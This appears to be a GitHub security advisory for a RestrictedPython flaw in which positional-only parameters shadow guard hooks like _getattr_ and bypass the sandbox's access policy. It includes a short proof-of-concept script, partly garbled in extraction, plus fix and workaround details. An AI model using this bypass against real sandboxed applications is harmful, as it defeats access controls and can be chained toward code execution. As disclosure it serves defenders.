GHSA-ffg3-p8fm-mjx2: High severity pip/RestrictedPython vulnerability
Impact
RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes getattr(obj, name), item access becomes getitem(obj, key), writes go through write, and print goes through print. The embedding application supplies these hooks to enforce its policy.
Argument-name validation rejects these protected names for regular arguments, args, kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:
python def f(getattr=evil, /): return o.x
makes getattr a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for getitem, write, and print. Shadowing print can also be used to capture the internal getattr hook that RestrictedPython passes in.
The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.
Proof of concept
On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy getattr never ran. With the fix, compilerestricted rejects the code.
python from RestrictedPython import compilerestricted from RestrictedPython.Guards import safeglobals, safergetattr
calls = [] def policygetattr(obj, name, default=None): calls.append(name) # the real guard records every access return safergetattr(obj, name, default)
src = """ def f(o, getattr=lambda obj, name: "shadowed", /): return o.x """
code = compilerestricted(src, "<s>", "exec") # currently compiles, should be rejected g = dict(safeglobals) g["getattr"] = policygetattr exec(code, g)
class O: x = "secret"
print(g"f")) # -> "shadowed" (attacker's local was used) print(calls) # -> [] (policy getattr never ran)
Patches
The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.
Workarounds
None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/RestrictedPythonto a version that resolves this vulnerability.Fixed in 8.3
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Applications embedding RestrictedPython to run sandboxed code are exposed when their security policy relies on the supplied guard hooks for attribute access, item access, writes, or printing. Risk is greater where the application processes sandbox-controlled objects unsafely, such as by serializing them with pickle.
What does an attacker need to exploit the bypass?
The attacker needs the ability to execute sandboxed Python code that can define a function with positional-only parameters. They can use protected guard-hook names such as _getattr_, _getitem_, _write_, or _print_ as those parameters to shadow the hooks used by rewritten operations.
Does the guard bypass alone provide remote code execution?
No. The underlying issue bypasses the embedding application's access policy; remote code execution requires an additional unsafe application behavior involving sandbox-controlled objects, and depends on the embedding application.